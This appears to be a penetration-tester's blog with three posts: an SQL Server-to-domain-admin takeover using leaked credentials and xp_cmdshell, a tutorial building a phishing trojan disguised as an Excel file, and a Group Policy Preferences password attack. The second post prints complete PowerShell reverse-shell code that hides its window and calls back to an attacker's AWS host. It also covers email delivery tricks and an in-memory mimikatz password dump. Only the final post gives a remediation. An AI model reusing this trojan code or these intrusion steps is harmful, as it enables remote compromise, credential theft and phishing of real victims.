SQL Server To Domain Takeover

On a recent engagement, I was struggling to escalate my low level privileges to something higher. To their credit, the organization was doing a lot of the right things in terms of security best practices. For example, LLMNR and NBT-NS poisoning was not effective… so relaying NetNTLMv2 hashes was not a viable options. Right out the gate, this rendered some of “goto” tools (like Responder, smbrelayx, web_delivery module, etc) ineffective. I was able to eventually relay a couple of hashes; however,  I came to realize that no users were local administrators on their workstations and all of the workstations were incredibly locked down. Additionally, ARP spoofing was also mostly ineffective and I suspect they had controls in place to prevent ARP cache poisoning.

That said, I was ultimately able to crack the NTLMv2 challenge/response hash of an end user who had a very weak password (“Summer2017”). This was my first foothold within the environment. However, given how locked down the environment was, I could not do much with my low level access. I ultimately resorted to enumerating and documenting all areas of the environment to which this account had some type of access. This took a while. I sprayed that user’s domain credentials across every known subnet and ultimately came to the conclusion I wasn’t going to get far by trying to target workstations…. I moved on to SMB enumeration of servers.

Every time I came across a server that had network shares, I would quickly peruse the list of files/folders and see if anything stood out as suspicious or helpful. This process eventually led me to a server with a single share. See below:

Capture1

This user obviously had access and so I quickly browsed the list of files in this share and found a file named ********.ini (unfortunately, the share name and the file name would give away the name of the software vendor). This file contained a database connection string – along with a plaintext username and password.

capture2

Armed with this information, it was apparent that this server was mostly likely running MS SQL. Additionally, even with these credentials, there was still no guarantee that 1) the credentials were valid, and 2) (if they were) that the database access would be helpful with escalation of our privileges. Either way, I proceeded to nmap this server to get more information.

capture3

The server appeared to be an application server running MS SQL. The next step was to check to see if the discovered credentials were, in fact, valid:

capture4

With the confirmation that our credentials are valid, I surmised that I had two options: 1) use our credentials to dump tables in the database and look for sensitive information and/or 2) try to use our credentials to obtain a reverse shell on the box. Given the desire for escalated privileges, I opted to immediately try to get a shell on the box – which worked.

capture 7

As seen above, we have SYSTEM privileges on this particular server….but I really need/want domain administrator privileges so that I can login to other critical servers and move freely throughout the environment. A quick look at the processes on this boxes, shows that a domain administrator is logged into this box and has mmc.exe open:

capture6 Upon migrating to this process, we are effectively able to issue commands against Active Directory as a domain administrator. At this point, it made sense to drop into a cmd shell and create a new account called “sys_admin” and immediately move this account into the “domain admins” group. Granted, there are more “stealthy” ways to take over the domain; however, part of the objective with this engagement was to determine how quickly internal teams were able to detect something like this. (they did not)

capture 8

From here, with our  new privileged domain account, we were able to quickly login to a domain controller and dump Active Directory password hashes, passwords from memory on other boxes, and exfiltrate sensitive data.

Given what I know about the organization and software vendor, I suspect the software vendor deploys this solution the same way to all of their clients. While the password in the database connection string is probably going to be different, documentation indicates the username is always the same. Additionally, it would seem that xp_cmdshell is enabled, which is what allowed me to get my meterpreter shell. While I don’t know a lot about the software, I would guess that this could probably be disabled.

Advertisements

Netcat Reverse Powershell Shell Across The Internet + Privilege Escalation

Outlined below is a technique for building and delivering a trojan to a victim in hopes that he or she will run the infected file and ultimately give us a reverse shell across the Internet.  There are lots of ways to deliver a payload and we’ve chosen to use email as the delivery method in this example.

For this POC, we have a Ubuntu server hosted at AWS.  This server will be hosting the malicious file and running the netcat listener. We have already installed apache and the installation/config is not covered here (sorry).

To start, we need to setup a port forwarding rule in the AWS console for all inbound TCP traffic coming in to our VM on port 31337.

1

We now need to take our Powershell code and compile it as an executable.   The code is  below.  When executed, it should connect back to our AWS instance’s public IP on port 31337 and give us our reverse shell. When run, it should also open Excel on the victim’s computer.

Add-Type -Name win -MemberDefinition ‘[DllImport(“user32.dll”)] public static extern bool ShowWindow(int handle, int
state);’ -Namespace native
[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle,0)
Invoke-Item “C:\Program Files\Microsoft Office\Office15\excel.exe”
Set-Location c:\windows\system32
$client = New-Object System.Net.Sockets.TCPClient(“AWS_Public_IP_Goes_Here”,31337);$stream = $client.GetStream();[byte[]]$bytes =
0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback +
“PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,
$sendbyte.Length);$stream.Flush()};$client.Close()

We used PowerGUI Script Editor for compiling and also for setting the .ico file to be the default that you’d normally see used when opening .xlsx (Excel) documents.

3

The malicious file is now ready to be uploaded to our Ubuntu server.  We used SCP to deliver the file to /var/www/html/files:

11

Once that is complete, we need to  setup a netcat listener on the same port as above (31337):

2

Now it’s time to deliver the file. We have other posts on how to spoof emails and reply-to headers, and it’s assumed there is familiarity with the social engineering aspect of sending convincing emails. If you use an email client like Outlook (for example), you can take advantage of it’s HTML capabilities as depicted below.

9

When the recipient receives the email, it should/could look similar to the below.

10

When viewed in Windows Explorer, depending on settings the malicious file could/should look something like the below.  The “giveaway” is that the file is listed as an “application” in the “type” column; however, the hope is that the icon and lack of file extension will make this file look like a regular Excel file enough to get the victim to click on it.

5

When the file is executed, it should (hopefully) create a reverse shell back to the AWS instance.  If we switch back to our Ubuntu box, we should see an incoming connection from the victim’s network.

6

From here, to obtain our shell, just type something/anything (like the word “shell”) or press enter a couple of times. (see below):

7

BONUS

With our new Powershell shell, we can execute any commands that one would/could normally run from a Powershell prompt.

8

During a pentest engagement the goal is usually privilege escalation.  With our shiny new shell, we can issue the below command and see that our target is also a local administrator on their box.

12

Despite our shell running as a user with limited privileges, we now know that our victim has the ability to run commands in an escalated fashion. For example, we may choose to leverage their access to attempt to dump passwords from memory:

 

13

The above command will download mimikatz and run it in memory so that it can function without being detected by AV.  It will also run as a local administrator (which is required) and dump all of the output into a text file of our choosing.

14

Using the “type” command, we can view the file’s contents and see that we’ve successfully dumped passwords from memory.

15

 

Active Directory & Group Policy Privilege Escalation Vulnerability

So you’ve had a successful phishing trip and obtained a shell on a target machine that is joined up a Windows domain. Obviously, the goal is escalate privileges and pivot across the network…which is easier said than done.  This is just one technique (of many) to consider employing on your travels.

We can see below that the target computer’ s domain controller is CN-DC04.

1

We should now map a drive to the sysvol share on the DC.

2

We are ultimately trying to find groups.xml, which can be done by using the command below:

3

Once found, we want to identify the one with the most recent date.

45

Once we’ve found the file we want, we need to enter the below command: Type groups.xml

Inside this file, if we’re lucky, we’ll be able to determine the name of a local administrator account (redacted in the picture below) and also an encrypted password (in the red box, but also redacted).

6

Using a tool like gpp-decrypt in Kali Linux, we can easily determine the password.

7

In a nutshell, organizations should not use Group Policy Preferences to manage local administrator passwords for domain computers.  Instead they should use something like Microsoft LAPS, which is significantly more secure. In addition, Microsoft LAPS will ensure that all of the local administrator passwords are changed on a regular basis AND also randomized on each domain joined machine.  Those credentials are then stored in Active Directory.